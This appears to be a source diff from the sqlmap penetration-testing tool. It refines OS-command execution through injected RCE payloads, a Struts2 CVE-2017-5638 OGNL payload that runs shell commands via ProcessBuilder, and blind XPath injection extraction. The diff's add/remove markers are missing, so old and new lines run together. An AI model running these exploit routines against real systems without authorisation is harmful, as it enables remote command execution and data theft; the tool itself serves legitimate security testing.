a, b = randomInt(4), randomInt(4)
|
||||
expected = str(a * b)
|
||||
if expected in baseline or expected in (str(a) + str(b)): # coincidental collision -> regenerate
|
||||
continue
|
||||
|
||||
hit = False
|
||||
# try each OS/shell family's derived challenge (Unix first, then Windows `set /a`)
|
||||
for _family, challenge, _framed in _SHELL_FAMILIES:
|
||||
cmd = challenge(a, b)
|
||||
for payloadTemplate, _description in engine.rcePayloads:
|
||||
payload = payloadTemplate.replace("{CMD}", cmd)
|
||||
page = getUnicode(_send(place, parameter, original + payload) or "")
|
||||
if _derivedExecuted(page, baseline, expected):
|
||||
hit = True
|
||||
break
|
||||
if hit:
|
||||
break
|
||||
|
||||
if not hit:
|
||||
# in-band capture blocked -> confirm via the two-step file-based channel (self-cleaning);
|
||||
# a Unix-family challenge is fine here (the file channel picks the OS family itself)
|
||||
hit = bool(_fileRceCapture(place, parameter, engine, original, _unixChallenge(a, b),
|
||||
lambda readPayload, page: _derivedExecuted(getUnicode(page or ""), baseline, expected)))
|
||||
if not hit:
|
||||
return False
|
||||
confirmed += 1
|
||||
|
||||
return confirmed >= 2
|
||||
|
||||
|
||||
def _framedOutput(page, start, end):
|
||||
"""Slice a command's real stdout from a response that bracketed it between two DERIVED markers. Each
|
||||
marker is the concatenation of two random fragments that the shell joins at runtime (`printf %s%s A
|
||||
B` -> `AB`); the completed marker `AB` never appears literally in the request (which carries `A B`
|
||||
separated), so a reflected payload - raw, URL-encoded, HTML-escaped, whitespace/case-normalized -
|
||||
cannot reproduce it. Finding both markers in order therefore proves execution, and the text between
|
||||
them is genuine output. Returns the sliced text or None."""
|
||||
if not page or start not in page:
|
||||
return None
|
||||
i = page.index(start) + len(start)
|
||||
j = page.find(end, i)
|
||||
if j < 0:
|
||||
return None
|
||||
return page[i:j].strip()
|
||||
|
||||
|
||||
def _executeCommand(place, parameter, engine, cmd):
|
||||
"""Execute an OS command via the engine's RCE payloads, trying each fallback in order until one
|
||||
produces output (captured via baseline diff), then a two-step file-based fallback for JDK-hardened
|
||||
Java engines whose in-band stdout capture is reflectively blocked (see _FILE_RCE)."""
|
||||
"""Execute an OS command via the engine's RCE payloads. Preferred capture brackets the command's
|
||||
output between two random markers so it slices out cleanly - immune to dynamic page material and to
|
||||
reflection. Falls back to a baseline diff for engines whose RCE payload does not run through a shell
|
||||
(no ';' sequencing), then to a two-step file-based capture for JDK-hardened Java engines whose in-band
|
||||
stdout is reflectively blocked (see _FILE_RCE)."""
|
||||
|
||||
safeCmd = _escapeSingleQuoted(cmd)
|
||||
original = _originalValue(place, parameter) or ""
|
||||
baseline = _send(place, parameter, original)
|
||||
|
||||
for payloadTemplate, description in engine.rcePayloads:
|
||||
payload = payloadTemplate.replace("{CMD}", safeCmd)
|
||||
page = _send(place, parameter, original + payload)
|
||||
output = _commandOutput(page, baseline, original, payload, engine)
|
||||
if output is not None:
|
||||
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output))
|
||||
return
|
||||
# (1) reflection-proof boundary-marker capture. Each marker is a RUNTIME concatenation of two
|
||||
# fragments (`printf %s%s A B` -> `AB` on Unix; `echo|set /p=A&echo|set /p=B` -> `AB` on Windows),
|
||||
# so the completed marker `AB` is never literally in the request - encoded/escaped reflection cannot
|
||||
# forge it. Both OS families are tried (Unix first); the one whose shell actually runs wins.
|
||||
for _family, _challenge, framed in _SHELL_FAMILIES:
|
||||
sa, sb, ea, eb = (randomStr(6, lowercase=True) for _ in range(4))
|
||||
start, end = sa + sb, ea + eb
|
||||
framedCmd = _escapeSingleQuoted(framed(cmd, sa, sb, ea, eb))
|
||||
for payloadTemplate, description in engine.rcePayloads:
|
||||
payload = payloadTemplate.replace("{CMD}", framedCmd)
|
||||
page = getUnicode(_send(place, parameter, original + payload) or "")
|
||||
out = _framedOutput(page, start, end)
|
||||
if out is not None:
|
||||
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, out))
|
||||
return
|
||||
|
||||
# (2) file-based capture (JDK-hardened Java engines) - reflection-proof (reads a file we wrote)
|
||||
output = _fileRceCapture(place, parameter, engine, original, cmd,
|
||||
lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine))
|
||||
if output is not None:
|
||||
conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output))
|
||||
return
|
||||
|
||||
# (3) LAST resort: unframed payload + baseline diff. This channel is NOT reflection-proof - a
|
||||
# baseline difference can be dynamic page material (a rotating CSRF token, timestamp, ad, request
|
||||
# id), so its output is shown only with an explicit UNVERIFIED caveat, never as clean stdout. The
|
||||
# command DID execute (blind), but the displayed text may not be its output.
|
||||
for payloadTemplate, description in engine.rcePayloads:
|
||||
payload = payloadTemplate.replace("{CMD}", safeCmd)
|
||||
page = _send(place, parameter, original + payload)
|
||||
output = _commandOutput(page, baseline, original, payload, engine)
|
||||
if output is not None:
|
||||
logger.warning("blind execution confirmed but no reflection-proof output channel; the text "
|
||||
"below is an UNVERIFIED baseline diff and may include dynamic page material")
|
||||
conf.dumper.singleString("\nos-shell (%s) [%s, UNVERIFIED diff]:\n%s" % (cmd, description, output))
|
||||
return
|
||||
|
||||
logger.warning("no output received for OS command '%s'" % cmd)
|
||||
|
||||
|
||||
|
|
@ -893,26 +1089,44 @@ def _s2045Send(url, action):
|
|||
|
||||
|
||||
def _probeStruts2Header(url):
|
||||
"""Detect CVE-2017-5638 benignly: print a random marker to the response via OGNL (no command
|
||||
execution) and confirm it echoes back. Returns the marker on success, else None."""
|
||||
marker = randomStr(length=16, lowercase=True)
|
||||
action = "(#w=#resp.getWriter()).(#w.print('%s')).(#w.flush())" % marker
|
||||
page = _s2045Send(url, action)
|
||||
return marker if (page and marker in page) else None
|
||||
"""Detect CVE-2017-5638 with a reflection-PROOF derived challenge. Rather than printing a literal
|
||||
marker (which a server that merely reflects the Content-Type header would echo back -> false
|
||||
positive), have OGNL COMPUTE an arithmetic product and print it: only the operands A and B appear in
|
||||
the header, never the product, so no header reflection - raw, HTML-escaped or URL-encoded - can
|
||||
reproduce it. Requires TWO independently-randomized confirmations against a baseline. Returns True on
|
||||
confirmed execution, else None."""
|
||||
baseline = _s2045Send(url, "(#resp.getWriter().flush())") # benign no-op baseline (no marker)
|
||||
# COUNT confirmations, not iterations: a product colliding with the baseline is regenerated, so an
|
||||
# all-collision run can never return success without an actually-evaluated challenge.
|
||||
confirmed = generated = 0
|
||||
while confirmed < 2 and generated < 10:
|
||||
generated += 1
|
||||
a, b = randomInt(4), randomInt(4)
|
||||
expected = str(a * b)
|
||||
if expected in (baseline or "") or expected in (str(a) + str(b)):
|
||||
continue # coincidental collision -> regenerate
|
||||
action = "(#w=#resp.getWriter()).(#w.print(%d*%d)).(#w.flush())" % (a, b)
|
||||
page = _s2045Send(url, action)
|
||||
if not (page and expected in page and expected not in (baseline or "")):
|
||||
return None
|
||||
confirmed += 1
|
||||
return True if confirmed >= 2 else None
|
||||
|
||||
|
||||
def _executeStruts2Header(url, cmd):
|
||||
"""Run an OS command through the S2-045 Content-Type vector and return its stdout. The output is
|
||||
bracketed by random markers (echoed by the shell) so it slices cleanly out of a response that also
|
||||
carries the action's own HTML."""
|
||||
start, end = randomStr(length=10, lowercase=True), randomStr(length=10, lowercase=True)
|
||||
wrapped = "echo %s; %s 2>&1; echo %s" % (start, cmd, end)
|
||||
bracketed by DERIVED markers - each is two random fragments the shell concatenates at runtime
|
||||
(`printf %s%s A B` -> `AB`), so the completed marker never appears literally in the header and a
|
||||
reflected header cannot forge it (nor be sliced as fake 'output')."""
|
||||
sa, sb, ea, eb = (randomStr(6, lowercase=True) for _ in range(4))
|
||||
start, end = sa + sb, ea + eb
|
||||
wrapped = "printf %%s%%s %s %s; %s 2>&1; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb)
|
||||
action = ("(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','%s'}))."
|
||||
"(#p.redirectErrorStream(true)).(#pr=#p.start())."
|
||||
"(@org.apache.commons.io.IOUtils@copy(#pr.getInputStream(),#resp.getOutputStream()))."
|
||||
"(#resp.getOutputStream().flush())") % _escapeSingleQuoted(wrapped)
|
||||
page = _s2045Send(url, action)
|
||||
if start in page and end in page:
|
||||
if start in page and end in page and page.index(start) < page.index(end):
|
||||
return page.split(start, 1)[-1].split(end, 1)[0].strip("\r\n")
|
||||
return None
|
||||
|
||||
|
|
|
|||
|
|
@ -5,7 +5,6 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
|||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import difflib
|
||||
import re
|
||||
import time
|
||||
|
||||
|
|
@ -18,6 +17,14 @@ from lib.core.data import conf
|
|||
from lib.core.data import logger
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import PLACE
|
||||
from lib.utils.nonsql import INCONCLUSIVE_MARK
|
||||
from lib.utils.nonsql import userDecision
|
||||
from lib.utils.nonsql import InconclusiveError
|
||||
from lib.utils.nonsql import resolveBit
|
||||
from lib.utils.nonsql import sqlErrorPresent
|
||||
from lib.utils.nonsql import blockedStatus
|
||||
from lib.utils.nonsql import ratio as _ratio
|
||||
from lib.utils.nonsql import userOracleActive
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.core.settings import XPATH_CHAR_MAX
|
||||
from lib.core.settings import XPATH_CHAR_MIN
|
||||
|
|
@ -31,6 +38,7 @@ from lib.utils.xrange import xrange
|
|||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
|
||||
XPATH_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
|
||||
|
||||
# Each detection breakout is paired with a false variant and an (optional) extraction
|
||||
|
|
@ -86,8 +94,6 @@ Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template"
|
|||
Slot.__new__.__defaults__ = (None, None, None, None, None, None, None)
|
||||
|
||||
|
||||
def _ratio(first, second):
|
||||
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
|
||||
|
||||
|
||||
def _delim(place):
|
||||
|
|
@ -145,17 +151,29 @@ def _send(place, parameter, value):
|
|||
kwargs = {"raise404": False, "silent": True}
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
|
||||
page, _, _ = Request.getPage(**kwargs)
|
||||
page, _, code = Request.getPage(**kwargs)
|
||||
# A transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is NOT a usable
|
||||
# oracle sample: returning "" for it would let a one-sided failure fake a true/false divergence
|
||||
# (an empty body cannot be told apart from a dead connection). Signal it as None -> the boolean
|
||||
# routines and the extraction oracle already reject None, so it can never decide a bit.
|
||||
if blockedStatus(code):
|
||||
return None
|
||||
return page or ""
|
||||
except Exception as ex:
|
||||
logger.debug("XPath probe request failed: %s" % getUnicode(ex))
|
||||
return ""
|
||||
return None
|
||||
finally:
|
||||
conf.parameters[place] = old_params
|
||||
|
||||
|
||||
def _isError(page):
|
||||
return bool(re.search(XPATH_ERROR_REGEX, getUnicode(page or "")))
|
||||
# an XPath parser error OR a recognized SQL/DBMS error marks a response as NOT a valid boolean
|
||||
# template. The SQL/DBMS guard (reusing sqlmap's errors.xml via htmlParser + the generic
|
||||
# `SQL (warning|error|syntax)` marker) is essential: a break-out like `*` or `') or ...` trips a
|
||||
# DBMS syntax error on a SQL-injectable parameter, and that error page merely differs from a
|
||||
# normal page - which would otherwise fake a boolean oracle and misreport SQLi as XPath.
|
||||
page = getUnicode(page or "")
|
||||
return bool(re.search(XPATH_ERROR_REGEX, page)) or sqlErrorPresent(page)
|
||||
|
||||
|
||||
def _backendFromError(page):
|
||||
|
|
@ -163,7 +181,9 @@ def _backendFromError(page):
|
|||
for backend, regex in XPATH_ERROR_SIGNATURES:
|
||||
if re.search(regex, page):
|
||||
return backend
|
||||
return "Generic XPath" if _isError(page) else None
|
||||
# ONLY an actual XPath parser error names a (generic) XPath back-end - never a SQL/DBMS error
|
||||
# (which _isError also flags now, but must not be attributed to XPath here)
|
||||
return "Generic XPath" if re.search(XPATH_ERROR_REGEX, page) else None
|
||||
|
||||
|
||||
def _probeBackendByParserError(place, parameter):
|
||||
|
|
@ -207,6 +227,10 @@ def _boolean(truthy, falsy):
|
|||
if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
|
||||
# honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity
|
||||
if userOracleActive():
|
||||
return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None
|
||||
|
||||
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
|
||||
return truePage
|
||||
|
||||
|
|
@ -220,6 +244,32 @@ def _makePayload(original, boundary, predicate):
|
|||
return "%s%s%s" % (original, boundary.prefix, predicate)
|
||||
|
||||
|
||||
# XPath 1.0-only boolean predicates: each pair differs ONLY in the XPath construct and flips
|
||||
# true/false on a real XPath engine, while a SQL back-end errors on all of them (no divergence).
|
||||
# A battery (not one primitive) survives an injection context that rejects any single function.
|
||||
# DELIBERATELY EXCLUDED after live testing: substring() (MySQL also has it -> would false-positive)
|
||||
# and anything using '/*' (a SQL comment opener). Validated SQL-safe on the karlobag MySQL junkyard.
|
||||
_XPATH_PREDICATES = (
|
||||
("string-length('ab')=2", "string-length('ab')=3"),
|
||||
("normalize-space(' a ')='a'", "normalize-space(' a ')='z'"),
|
||||
("translate('ab','a','x')='xb'", "translate('ab','a','x')='zz'"),
|
||||
)
|
||||
|
||||
|
||||
def _xpathConfirm(place, parameter, original, boundary):
|
||||
"""Confirm the injection context actually evaluates XPath, not SQL. The `' or '1'='1` break-out
|
||||
family is IDENTICAL to classic SQL injection, so without a positive XPath-only proof a SQL-
|
||||
injectable parameter would false-positive as XPath. Try the whole battery (wrapped in the SAME
|
||||
verified boundary); ANY member that flips true/false proves an XPath parser."""
|
||||
for truePred, falsePred in _XPATH_PREDICATES:
|
||||
truePayload = _makePayload(original, boundary, truePred)
|
||||
falsePayload = _makePayload(original, boundary, falsePred)
|
||||
if _boolean(lambda p=truePayload: _send(place, parameter, p),
|
||||
lambda p=falsePayload: _send(place, parameter, p)) is not None:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def _detectBoolean(place, parameter):
|
||||
"""Return (template, payload, boundary) for boolean-blind XPath injection.
|
||||
boundary is None for detection-only breakouts (wildcard, union)."""
|
||||
|
|
@ -237,15 +287,16 @@ def _detectBoolean(place, parameter):
|
|||
lambda p=falseSpecific: _send(place, parameter, p))
|
||||
if template:
|
||||
boundary = _BREAKOUT_BOUNDARY.get(breakout)
|
||||
# an extractable (boundary-carrying) break-out shares its syntax with SQL injection;
|
||||
# require an XPath-specific confirm before accepting it, else keep looking
|
||||
if boundary and not _xpathConfirm(place, parameter, original, boundary):
|
||||
continue
|
||||
return template, truePayload, boundary
|
||||
|
||||
# Wildcard: only useful for bool differentiation, not enumeration
|
||||
if original:
|
||||
template = _boolean(lambda: _send(place, parameter, "*"),
|
||||
lambda: _send(place, parameter, SENTINEL))
|
||||
if template:
|
||||
return template, "*", None
|
||||
|
||||
# NOTE: no bare `*`-vs-sentinel wildcard fallback. A wildcard that returns more rows than a random
|
||||
# term is normal search behavior, not proof of an XPath query-boundary escape, and it carries no
|
||||
# boundary to confirm XPath (vs SQL) or to drive extraction. Detection rests only on an XPath-
|
||||
# confirmed boolean break-out (above).
|
||||
return None, None, None
|
||||
|
||||
|
||||
|
|
@ -276,6 +327,15 @@ def _xpathQuote(s):
|
|||
return "concat(%s)" % ", '\"', ".join('"%s"' % part for part in s.split('"'))
|
||||
|
||||
|
||||
def _extractionBase(original, boundary):
|
||||
"""The base value the EXTRACTION payloads use (and therefore the base the oracle must be
|
||||
calibrated with). An OR-style boundary is always-true whenever the original branch matches, so
|
||||
extraction replaces the base with a non-matching SENTINEL; an AND-style boundary needs the
|
||||
original branch to match, so it keeps the original. Calibrating with a different base than
|
||||
extraction uses was the reviewer's core defect."""
|
||||
return SENTINEL if " or " in (boundary.prefix or "") else (original or "x")
|
||||
|
||||
|
||||
class _XPathPayloadBuilder(object):
|
||||
"""Build XPath boolean predicates for blind tree-walking using the verified
|
||||
injection boundary from detection. Each method returns a complete payload."""
|
||||
|
|
@ -323,38 +383,60 @@ class _XPathPayloadBuilder(object):
|
|||
return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n))
|
||||
|
||||
|
||||
def _makeOracle(place, parameter, template):
|
||||
"""Build an oracle from a verified true template. extract(payload) returns
|
||||
True when the response is closer to the true template than to the false page."""
|
||||
def _makeOracle(place, parameter, boundary, base):
|
||||
"""Build an extraction oracle by RECALIBRATING true/false models from the FINAL extraction base +
|
||||
boundary - the SAME base the _XPathPayloadBuilder uses for every later predicate (SENTINEL for an
|
||||
OR-style boundary, the original value for an AND-style one). Calibrating with the original value
|
||||
while extraction ran with SENTINEL made the models mismatch the actual probes. Send the boundary's
|
||||
own `true()` / `false()` predicates on that base, reproduce each, require them SEPARABLE; else
|
||||
return None so extraction is disabled rather than emitting fabricated data."""
|
||||
|
||||
cache = {}
|
||||
|
||||
def request(payload):
|
||||
# Cache ONLY usable responses. A transient failure (timeout / 429 / intermittent 5xx / reset)
|
||||
# must never be cached as if it were the answer - it would freeze a wrong bit for every later
|
||||
# bisection step. An unusable response is re-sent on the next call instead.
|
||||
if payload not in cache:
|
||||
cache[payload] = _send(place, parameter, payload)
|
||||
page = _send(place, parameter, payload)
|
||||
if page is not None and not _isError(page):
|
||||
cache[payload] = page
|
||||
return page
|
||||
return cache[payload]
|
||||
|
||||
falsePage = request(SENTINEL)
|
||||
truePayload = _makePayload(base, boundary, "true()")
|
||||
falsePayload = _makePayload(base, boundary, "false()")
|
||||
trueModel = request(truePayload)
|
||||
falseModel = request(falsePayload)
|
||||
|
||||
def oracle(payload):
|
||||
page = request(payload)
|
||||
if page is None or _isError(page):
|
||||
return False
|
||||
return _ratio(template, page) >= UPPER_RATIO_BOUND
|
||||
# both models must be present, non-error, independently reproducible, and separable
|
||||
if trueModel is None or falseModel is None or _isError(trueModel) or _isError(falseModel):
|
||||
return None
|
||||
if _ratio(trueModel, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
if _ratio(falseModel, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
if _ratio(trueModel, falseModel) >= UPPER_RATIO_BOUND: # indistinguishable -> can't extract
|
||||
return None
|
||||
|
||||
def extract(payload):
|
||||
# A transport failure / blocked / error response is UNKNOWN, not False: route even a missing
|
||||
# initial sample through resolveBit(), which re-sends and ultimately raises InconclusiveError
|
||||
# (so the value aborts) rather than pre-deciding a False bit that corrupts the bisection.
|
||||
page = request(payload)
|
||||
if page is None or _isError(page):
|
||||
return False
|
||||
trueRatio = _ratio(template, page)
|
||||
falseRatio = _ratio(falsePage, page)
|
||||
# Require either an unambiguous match against the template or a
|
||||
# clear separation from the false page (minimum 5 %pt margin)
|
||||
return trueRatio >= UPPER_RATIO_BOUND or (trueRatio - falseRatio) > 0.05
|
||||
usable = page if (page is not None and not _isError(page)) else None
|
||||
|
||||
def fresh():
|
||||
p = _send(place, parameter, payload)
|
||||
return None if (p is None or _isError(p)) else p
|
||||
return resolveBit(usable, trueModel, falseModel, fresh)
|
||||
|
||||
def oracle(payload):
|
||||
return extract(payload)
|
||||
|
||||
oracle.extract = extract
|
||||
oracle.template = template
|
||||
oracle.falsePage = falsePage
|
||||
oracle.template = trueModel
|
||||
oracle.falsePage = falseModel
|
||||
oracle.cache = cache
|
||||
return oracle
|
||||
|
||||
|
|
@ -387,43 +469,57 @@ def _inferValue(oracle, builder, path, getter, maxLen=XPATH_MAX_LENGTH):
|
|||
value = ""
|
||||
probes = 0
|
||||
|
||||
for _ in xrange(maxLen):
|
||||
found = False
|
||||
try:
|
||||
for _ in xrange(maxLen):
|
||||
found = False
|
||||
|
||||
for cp in _CHARSET:
|
||||
candidate = value + chr(cp)
|
||||
probes += 1
|
||||
for cp in _CHARSET:
|
||||
candidate = value + chr(cp)
|
||||
probes += 1
|
||||
|
||||
if oracle.extract(getter(builder, path, candidate)):
|
||||
value = candidate
|
||||
found = True
|
||||
if oracle.extract(getter(builder, path, candidate)):
|
||||
value = candidate
|
||||
found = True
|
||||
break
|
||||
|
||||
if not found:
|
||||
break
|
||||
|
||||
if not found:
|
||||
break
|
||||
|
||||
if value.endswith(" "):
|
||||
value = value.rstrip()
|
||||
break
|
||||
if value.endswith(" "):
|
||||
value = value.rstrip()
|
||||
break
|
||||
except InconclusiveError:
|
||||
# the oracle stayed ambiguous after retries -> ABORT this value rather than silently
|
||||
# truncate it with a wrong bit (returning None marks it unavailable, not fabricated)
|
||||
logger.warning("XPath extraction aborted for a value (oracle inconclusive after retries)")
|
||||
return None
|
||||
|
||||
logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, len(value)))
|
||||
return value if value else None
|
||||
|
||||
|
||||
def _inferCount(oracle, builder, path, countFn, maxCount=128):
|
||||
"""Binary search for a count value using predicate 'count(...)>=N'."""
|
||||
"""Binary search for a count value using predicate 'count(...)>=N'. Returns the count, or None
|
||||
when the oracle is inconclusive - NEVER 0, because a real 0 means 'this element is a leaf' and the
|
||||
tree walker would then fabricate scalar text for a node whose child count is actually UNKNOWN."""
|
||||
|
||||
if not oracle.extract(countFn(builder, path, 1)):
|
||||
return 0
|
||||
try:
|
||||
if not oracle.extract(countFn(builder, path, 1)):
|
||||
return 0
|
||||
|
||||
lo, hi = 1, maxCount
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if oracle.extract(countFn(builder, path, mid)):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid - 1
|
||||
return lo
|
||||
lo, hi = 1, maxCount
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if oracle.extract(countFn(builder, path, mid)):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid - 1
|
||||
return lo
|
||||
except InconclusiveError:
|
||||
# unknown must NOT collapse to 0 (that reads as a leaf); signal it so the walker marks the
|
||||
# node partial instead of inventing a structurally-plausible but wrong empty/leaf element
|
||||
logger.warning("XPath count inference inconclusive (oracle ambiguous after retries)")
|
||||
return None
|
||||
|
||||
|
||||
def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
|
||||
|
|
@ -436,36 +532,41 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
|
|||
lot when walking a whole document tree. Characters outside the charset are
|
||||
surfaced as '?' so the rest of the value is still recovered."""
|
||||
|
||||
if not oracle.extract(builder.stringLengthAtLeast(target, 1)):
|
||||
return None
|
||||
try:
|
||||
if not oracle.extract(builder.stringLengthAtLeast(target, 1)):
|
||||
return None
|
||||
|
||||
lo, hi = 1, maxLen
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if oracle.extract(builder.stringLengthAtLeast(target, mid)):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid - 1
|
||||
length = lo
|
||||
|
||||
chars = []
|
||||
probes = 0
|
||||
last = len(_CS_ORDS) - 1
|
||||
for pos in xrange(1, length + 1):
|
||||
probes += 1
|
||||
if not oracle.extract(builder.charPresent(target, pos)):
|
||||
chars.append("?")
|
||||
continue
|
||||
|
||||
clo, chi = 0, last
|
||||
while clo < chi:
|
||||
cmid = (clo + chi + 1) // 2
|
||||
probes += 1
|
||||
if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)):
|
||||
clo = cmid
|
||||
lo, hi = 1, maxLen
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if oracle.extract(builder.stringLengthAtLeast(target, mid)):
|
||||
lo = mid
|
||||
else:
|
||||
chi = cmid - 1
|
||||
chars.append(chr(_CS_ORDS[clo]))
|
||||
hi = mid - 1
|
||||
length = lo
|
||||
|
||||
chars = []
|
||||
probes = 0
|
||||
last = len(_CS_ORDS) - 1
|
||||
for pos in xrange(1, length + 1):
|
||||
probes += 1
|
||||
if not oracle.extract(builder.charPresent(target, pos)):
|
||||
chars.append("?")
|
||||
continue
|
||||
|
||||
clo, chi = 0, last
|
||||
while clo < chi:
|
||||
cmid = (clo + chi + 1) // 2
|
||||
probes += 1
|
||||
if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)):
|
||||
clo = cmid
|
||||
else:
|
||||
chi = cmid - 1
|
||||
chars.append(chr(_CS_ORDS[clo]))
|
||||
except InconclusiveError:
|
||||
# abort this value rather than emit a length/char chosen from an ambiguous bit
|
||||
logger.warning("XPath string inference aborted (oracle inconclusive after retries)")
|
||||
return None
|
||||
|
||||
value = "".join(chars)
|
||||
logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, length))
|
||||
|
|
@ -485,61 +586,84 @@ def _walkTree(oracle, builder, path="/*", depth=0):
|
|||
|
||||
logger.info("discovered element: '%s'" % name)
|
||||
|
||||
# None => inconclusive (NOT a real count). An unknown child/attribute count must leave the node
|
||||
# PARTIAL: never treat unknown as a leaf (which would fabricate scalar text) or iterate a phantom
|
||||
# range - only enumerate when the count is a confirmed, positive integer.
|
||||
childCount = _inferCount(oracle, builder, path,
|
||||
lambda b, p, c: b.childCount(p, c),
|
||||
maxCount=32)
|
||||
if childCount >= 32:
|
||||
if childCount is None:
|
||||
logger.warning("element '%s' child count is inconclusive; marking node partial" % name)
|
||||
elif childCount >= 32:
|
||||
logger.warning("element '%s' hit the 32-child cap; some child nodes may be omitted" % name)
|
||||
|
||||
attrCount = _inferCount(oracle, builder, path,
|
||||
lambda b, p, c: b.attributeCount(p, c),
|
||||
maxCount=16)
|
||||
if attrCount >= 16:
|
||||
if attrCount is None:
|
||||
logger.warning("element '%s' attribute count is inconclusive; some attributes may be omitted" % name)
|
||||
elif attrCount >= 16:
|
||||
logger.warning("element '%s' hit the 16-attribute cap; some attributes may be omitted" % name)
|
||||
|
||||
attributes = []
|
||||
for i in xrange(1, attrCount + 1):
|
||||
for i in xrange(1, (attrCount or 0) + 1):
|
||||
attrName = _inferString(oracle, builder, "name(%s/@*[%d])" % (path, i))
|
||||
if not attrName:
|
||||
continue
|
||||
|
||||
attrValue = _inferString(oracle, builder, "string(%s/@*[%d])" % (path, i))
|
||||
attributes.append({"name": attrName, "value": attrValue or ""})
|
||||
logger.info(" attribute: @%s='%s'" % (attrName, attrValue or ""))
|
||||
# None => inconclusive (aborted) attribute value; mark it visibly, don't blank it into ""
|
||||
shown = INCONCLUSIVE_MARK if attrValue is None else attrValue
|
||||
attributes.append({"name": attrName, "value": shown})
|
||||
logger.info(" attribute: @%s='%s'" % (attrName, shown))
|
||||
|
||||
# only a CONFIRMED zero child count means "leaf" -> infer its scalar text; an unknown (None) count
|
||||
# must not be read as a leaf
|
||||
text = None
|
||||
if childCount == 0:
|
||||
text = _inferString(oracle, builder, "string(%s)" % path)
|
||||
|
||||
children = []
|
||||
for i in xrange(1, childCount + 1):
|
||||
for i in xrange(1, (childCount or 0) + 1):
|
||||
childPath = "%s/*[%d]" % (path, i)
|
||||
child = _walkTree(oracle, builder, childPath, depth + 1)
|
||||
if child:
|
||||
children.append(child)
|
||||
|
||||
# PARTIAL when a count is unknown (None) OR a cap was hit (>=32 children / >=16 attributes) - a
|
||||
# truncated node is not a complete one
|
||||
partial = (childCount is None or attrCount is None
|
||||
or (childCount is not None and childCount >= 32)
|
||||
or (attrCount is not None and attrCount >= 16))
|
||||
return {
|
||||
"name": name,
|
||||
"path": path,
|
||||
"children": children,
|
||||
"attributes": attributes,
|
||||
"text": text,
|
||||
"partial": partial,
|
||||
}
|
||||
|
||||
|
||||
def _treeToTable(node):
|
||||
"""Flatten a tree node to (columns, rows) for grid output."""
|
||||
"""Flatten a tree node to (columns, rows) for grid output. A node whose child/attribute count was
|
||||
inconclusive is flagged (Element name suffixed with ' [partial]') so the recovered structure is
|
||||
visibly distinguished from a fully-enumerated one."""
|
||||
|
||||
columns = ["Path", "Element", "Attribute", "Value"]
|
||||
rows = []
|
||||
|
||||
def _flatten(n, depth=0):
|
||||
path = n["path"]
|
||||
rows.append([path, n["name"], "", ""])
|
||||
partial = n.get("partial")
|
||||
name = n["name"] + (" [partial]" if partial else "")
|
||||
# keep the bare element row when the node is PARTIAL (so a partial node with no recovered
|
||||
# attributes/children/text still appears - it must not be filtered away as if fully empty)
|
||||
rows.append([path, name, "", "[partial - enumeration inconclusive]" if partial else ""])
|
||||
for attr in n.get("attributes", []):
|
||||
rows.append([path, n["name"], "@" + attr["name"], attr["value"]])
|
||||
rows.append([path, name, "@" + attr["name"], attr["value"]])
|
||||
if n.get("text"):
|
||||
rows.append([path, n["name"], "text()", n["text"]])
|
||||
rows.append([path, name, "text()", n["text"]])
|
||||
for child in n.get("children", []):
|
||||
_flatten(child, depth + 1)
|
||||
|
||||
|
|
@ -605,15 +729,23 @@ def xpathScan():
|
|||
template, payload, boundary = _detectBoolean(place, parameter)
|
||||
if template:
|
||||
if boundary and boundary.extractable:
|
||||
found += 1
|
||||
backend = backendHint or "Generic XPath"
|
||||
logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s')" % (place, parameter, backend))
|
||||
original = _originalValue(place, parameter) or ""
|
||||
oracle = _makeOracle(place, parameter, boundary, _extractionBase(original, boundary))
|
||||
found += 1
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
oracle = _makeOracle(place, parameter, template)
|
||||
if oracle is None:
|
||||
# detection is confirmed, but the extraction true/false models are not
|
||||
# reliably separable - report the finding WITHOUT extracting (never emit
|
||||
